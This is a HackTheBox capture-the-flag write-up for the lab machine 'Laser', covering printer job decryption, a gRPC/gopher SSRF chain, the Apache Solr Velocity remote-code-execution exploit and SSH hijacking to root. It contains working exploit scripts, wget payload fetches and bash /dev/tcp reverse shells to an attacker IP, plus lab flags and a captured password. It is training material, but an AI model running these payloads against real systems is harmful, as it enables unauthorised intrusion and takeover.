HackTheBox Laser - Writeup
OS: | Linux |
Release Date: | 08/08/2020 19:00 PM |
Points: | 50 |
Difficulty: | Hard |
~ User Part
First enumeration:
$ nmap -A -T4 -p- 10.10.10.201
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open cslistener?
9100/tcp open jetdirect?
9000/tcp open cslistener?
9100/tcp open jetdirect?
The nmap output is quite short: We got a ssh port and two ports, where nmap
could not fully decide, what service is listening on this port. Doing some research on port 9100
we find out, that it might be related to network printers. The box name is also somehow a hint.
Doing some further research, we find a Printer Exploitation Toolkit, which can interact with the printer. Doing some trial and error,
we manage to get some output using the
pjl
mode and execute some basic commands:
$ python2 pret.py 10.10.10.201 pjl
Connection to 10.10.10.201 established
Device: LaserCorp LaserJet 4ML
Welcome to the pret shell. Type help or ? to list commands.
Device: LaserCorp LaserJet 4ML
Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/>$ ls
d - pjl
10.10.10.201:/>$ cd pjl/jobs/
10.10.10.201:/pjl/jobs>$ ls
- 172199 queued
10.10.10.201:/pjl/jobs>$ get queued
172199 bytes received.
10.10.10.201:/pjl/jobs>$ exit
$ file queued && head -c 20 queued
queued: ASCII text, with very long lines, with CRLF line terminators
b'VfgBAAAAAADOiDS0d+
b'VfgBAAAAAADOiDS0d+
The printer's filesystem contains only one file which seems to be
base64
encoded. Decoding it doesn't give us much,
as the file is encrypted, which we can check using the env
command in PRET
:
10.10.10.201:/>$ env
(...)
LPARM:ENCRYPTION MODE=AES [CBC]
LPARM:ENCRYPTION MODE=AES [CBC]
So we are looking for a key and an IV. The key can be easily retrieved by dumping the
nvram
:
10.10.10.201:/>$ nvram dump
(...)
..................................................k...e....y.....13vu94r6..643rv19u
..................................................k...e....y.....13vu94r6..643rv19u
Analyzing the encrypted file, we notice, that the size does not fit with the block size of 16 bytes:
$ python
>>> import base64, struct
>>> data = open("queued","rb").read().strip()
>>> data = data[2:len(data)-1] # strip of b''
>>> data = base64.b64decode(data)
>>> len(data) % 16
8
>>> data = open("queued","rb").read().strip()
>>> data = data[2:len(data)-1] # strip of b''
>>> data = base64.b64decode(data)
>>> len(data) % 16
8
If we have a closer look at the first 8 bytes and the length of the rest, we can guess, that the first 8 bytes indicate the length
of the document:
$ python
>>> struct.unpack(">Q", data[0:8])
(129109,)
>>> len(data[8:])
129136
(129109,)
>>> len(data[8:])
129136
Assuming the IV is prepended to the ciphertext we are able to decrypt it and save it to a file with the following python script:
from Crypto.Cipher import AES
import base64
import struct
data = open('queued','rb').read().strip()
data = data[2:len(data)-1] # strip of b''
data = base64.b64decode(data)
size, iv, ciphertext = (data[0:8],data[8:24],data[24:])
key = b'13vu94r6643rv19u'
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
open('decrypted.bin','wb').write(decrypted)
The
file
command tells us, the decrypted document is a PDF so we can open it with our desired
PDF viewer. It contains a description of a service which seems to be running on port 9000
.
We have to read the PDF carefully as it contains many hints and descriptions for the next service:
- Protocol Buffers + gRPC + service_pb2:
protobuf2
is used. - Service:
Print
, Method:Feed
, Parameter:Content
, Returns:Data
- Content Message has an attribute
data
, Data message has an attributefeed
- Input data is a
json
object with various fields - Data gets unpickled => Python's
pickle
module is used. - No
builtins
are in use: Code Injection is probably not possible. - staging core, will help us later ;)
For the next step, we try to build a client, which can successfully communicate with the service on port 9000. Using the
info above, we first create a .proto file, which holds the protocol definition:
syntax = "proto2";
service Print {
rpc Feed(Content) returns (Data) {}
}
message Content {
required string data = 1;
}
message Data {
required string feed = 1;
}
To generate python code we issue the following command. If the module is not found, install
grpcio-tools
via
python's package installer pip
.
$ python -m grpc_tools.protoc -I . service.proto --python_out=. --grpc_python_out=.
The tool should have created 2 files for us: service_pb2.py and service_pb2_grpc.py.
We will need them both for our next python script:
#!/usr/bin/env python
import grpc
import json
import base64
import pickle
import subprocess
import service_pb2
import service_pb2_grpc
import urllib.parse
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = service_pb2_grpc.PrintStub(channel)
obj = { ... } # json object taken from the pdf
payload = base64.b64encode(pickle.dumps(json.dumps(obj))).decode("UTF-8")
data = stub.Feed(service_pb2.Content(data=payload))
print(data)
We can see, that the communications with the gRPC service works by running the script. We get a weird error though,
which says, that it can't connect to the host set either in the
home_page_url
or in the feed_url
field:
$ python exploit.py
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
status = StatusCode.UNKNOWN
details = "Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')"
debug_error_string = "{"created":"@1598542319.613120233","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')","grpc_status":2}">
status = StatusCode.UNKNOWN
details = "Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')"
debug_error_string = "{"created":"@1598542319.613120233","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')","grpc_status":2}">
When leaving out the
feed_url
field, we get a different error message which indicates, that this field (and only this field actually)
is relevant:
$ python exploit.py
(...)
"grpc_message":"Exception calling application: 'feed_url'"
"grpc_message":"Exception calling application: 'feed_url'"
Next we will do some enumeration. Because we have control over the address, the server connects to, we can try to do an internal port scan using the
following python code:
#!/usr/bin/env python
for i in range(1,65536):
try:
feed = getFeed("http://localhost:%d" % i)
print("[+] Found port:", i)
print(feed)
except grpc._channel._InactiveRpcError as e:
msg = "Exception calling application: (7, 'Failed to connect to localhost port %d: Connection refused')" % i
if msg != e.details():
print("[-] Exception for port %d:" % i)
print(e)
Our scan reveals an open port which is only bound locally:
8983
. After some research on this port
we can say, that the service behind it is most likely Apache Solr
. The problem is: we don't get any output
from our requests so the next steps will require alot of guessing. After some further research, we find an exploit for a vulnerable version
of this service, which got published in November 2019, so not too old. The exploit consists basically of three steps, assumed that it doesn't require
authentication and it really runs a vulnerable version of Apache Solr:
- GET /admin/cores: Get the names of all configured cores
- POST /core/<corename>/config: Upload some vulnerable config (json object)
- GET /core/<corename>/select: Trigger a command to be executed
To comprehend the specific requests sent by the exploit script, I recommend setting up a local vulnerable version of Apache Solr and
capture the requests using wireshark. For our exploit, we won't need the first request, as we assume the core's name to be
staging
and we wouldn't get output anyway. The 3rd get request is trivial to make, the exciting part is the 2nd request. If we put the URL only,
the server code would make an GET request without a body. That's where we make use gopher
: It sends data specified in the URL as TCP
payload. So we need a url in the form of gopher://localhost:8983/_POST.... It's important to mention, that gopher skips the first byte after the slash.
Our python code for the POST request looks like this:
def createPost(host, uri, headers, data):
lines = ["POST %s HTTP/1.1" % uri]
if data and "Content-Length" not in headers:
headers["Content-Length"] = len(data) + 2 # Gopher sends an additional \r\n at the end
# Add "Host" to the beginning
if "Host" not in headers:
new_headers = { "Host": host }
new_headers.update(headers)
headers = new_headers
for key, val in headers.items():
lines.append("%s: %s" % (key, val))
lines.append("")
lines.append(data)
lines = "\r\n".join(lines)
lines = urllib.parse.quote(lines)
return "gopher://%s/_%s" % (host, lines)
solr_host = "localhost:8983"
core_name = "staging"
uri = "/solr/%s/config" % core_name
headers = { "Connection": "close", "Accept-Encoding": "gzip, deflate", "Acccept" : "*/*", "Content-Type": "application/json" }
data = json.dumps({
"update-queryresponsewriter": {
"name": "velocity",
"startup": "lazy",
"params.resource.loader.enabled": "true",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"class": "solr.VelocityResponseWriter"
}
})
postRequest = createPost(solr_host, uri, headers, data)
print("[+] Stage 1: POST %s" % uri)
print(getFeed(postRequest))
Now to trigger our exploit, we first execute a
exploit.sh:wget
and then a bash
command
to establish a reverse shell. Of course, we need to spin up a temporary web server hosting our reverse shell file and a netcat listener
for the reverse shell:
bash -i >& /dev/tcp/10.10.16.189/4444 0>&1
exploit.py continuation:def executeCommand(command):
command = urllib.parse.quote(command)
url = "http://%s/solr/%s/" % (solr_host, core_name)
url += "select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + command + "%27))+$ex.waitFor()"
print("[+] Stage 2: Triggering exploit")
print(getFeed(url))
executeCommand("wget http://10.10.16.189/exploit.sh -O /tmp/exploit.sh")
executeCommand("bash /tmp/exploit.sh")
We should get a connection back and have access to the user flag:
$ nc -lvvp 4444
Connection from 10.10.10.201:46488
bash: cannot set terminal process group (1092): Inappropriate ioctl for device
bash: no job control in this shell
solr@laser:/opt/solr/server$ cat /home/solr/user.txt
8786fa2504d046c15dd5770d1ad02cdf
bash: cannot set terminal process group (1092): Inappropriate ioctl for device
bash: no job control in this shell
solr@laser:/opt/solr/server$ cat /home/solr/user.txt
8786fa2504d046c15dd5770d1ad02cdf
# Root Part
For the root part, we first want to get a stable shell, so putting our public key into
/var/solr/.ssh/authorized_keys
.
Next we will need pspy64
to scan for running and repeating commands on the server.
solr@laser:/tmp$ pspy64
2020/08/29 13:16:01 CMD: UID=0 PID=3077 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /root/clear.sh root@172.18.0.2:/tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3078 | scp /root/clear.sh root@172.18.0.2:/tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3079 | /usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -l root -- 172.18.0.2 scp -t /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3080 | /usr/sbin/sshd -R
2020/08/29 13:16:01 CMD: UID=105 PID=3081 | sshd: root [net]
2020/08/29 13:16:01 CMD: UID=0 PID=3098 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh root@172.18.0.2 /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3099 | ssh root@172.18.0.2 /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3078 | scp /root/clear.sh root@172.18.0.2:/tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3079 | /usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -l root -- 172.18.0.2 scp -t /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3080 | /usr/sbin/sshd -R
2020/08/29 13:16:01 CMD: UID=105 PID=3081 | sshd: root [net]
2020/08/29 13:16:01 CMD: UID=0 PID=3098 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh root@172.18.0.2 /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3099 | ssh root@172.18.0.2 /tmp/clear.sh
We can see, that the server copies some files using
scp
and then executing /tmp/clear.sh
on the remote server,
which is a docker instance running in the internal subnet. For authentication a tool called sshpass
is used, but the displayed password
doesn't work for us. Reading the manual it says: Sshpass makes a minimal attempt to hide the password, but such attempts are doomed to create race conditions without actually solving the problem..
So we just have to be lucky, that pspy
wins the race condition, and indeed, running the tool again prints the password after some time:
solr@laser:/tmp$ pspy64 | grep sshpass
(...)
2020/08/29 13:22:16 CMD: UID=0 PID=7869 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/graphql-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7909 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7910 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7928 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/dashboard-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7947 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7948 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:17 CMD: UID=0 PID=7966 | sshpass -p c413d115b3d87664499624e7826d8c5a scp /opt/updates/files/postgres-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7869 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/graphql-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7909 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7910 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7928 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/dashboard-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7947 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:16 CMD: UID=0 PID=7948 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@172.18.0.2:/root/feeds/
2020/08/29 13:22:17 CMD: UID=0 PID=7966 | sshpass -p c413d115b3d87664499624e7826d8c5a scp /opt/updates/files/postgres-feed root@172.18.0.2:/root/feeds/
Logging into the docker as root we find nothing really interesting but the
ssh_config
used on the main host reveals something
important and insecure:
solr@laser:/tmp$ grep "^[^#;]" /etc/ssh/ssh_config
Include /etc/ssh/ssh_config.d/*.conf
Host *
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
StrictHostKeyChecking no
Host *
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
StrictHostKeyChecking no
The config file tells us, that host key caching is disabled, which means, the server does not check, whether the server, it believes to connect to,
is the intended one. As we have root access to the docker instance, and the server repeatedly connects to it and executes a file, we can trick the server into
executing our file on itself. First we create a malicious script in the tmp directory and make it readonly (just to be sure, it doesn't get overridden):
solr@laser:/tmp$ echo 'bash -i >& /dev/tcp/10.10.16.189/4444 0>&1' > /tmp/clear.sh
solr@laser:/tmp$ chmod 555 /tmp/clear.sh
Next we kill the listening ssh service and create a pipe to forward the ssh traffic back to the server itself:
solr@laser:/tmp$ ssh root@172.18.0.2
root@172.18.0.2's password: c413d115b3d87664499624e7826d8c5a
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
(...)
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
(...)
root@20e3289bc183:~$ kill -8 $(ps aux | grep -i ssh | head -n 1 | awk '{print $2}')
root@20e3289bc183:~$ mkfifo /tmp/backpipe
root@20e3289bc183:~$ while true; do /tmp/nc -l 22 0</tmp/backpipe | /tmp/nc 172.18.0.1 22 1>/tmp/backpipe; done
After some time, the ssh connection to the docker host should be interrupted (as the docker instance resets),
and we should get a connection back in our netcat listener:
$ nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 10.10.10.201:44906
bash: cannot set terminal process group (24818): Inappropriate ioctl for device
bash: no job control in this shell
Connection from 10.10.10.201:44906
bash: cannot set terminal process group (24818): Inappropriate ioctl for device
bash: no job control in this shell
root@laser:~$ cat /root/root.txt
cf3ac09cacd59c8613967ba0a228cb55
+ Additional Notes
In this machine, we recovered a printed file and managed to exploit a service completely blind without getting any response like banners or versions. Also, we noticed, why host key caching is needed, especially for automated scripts.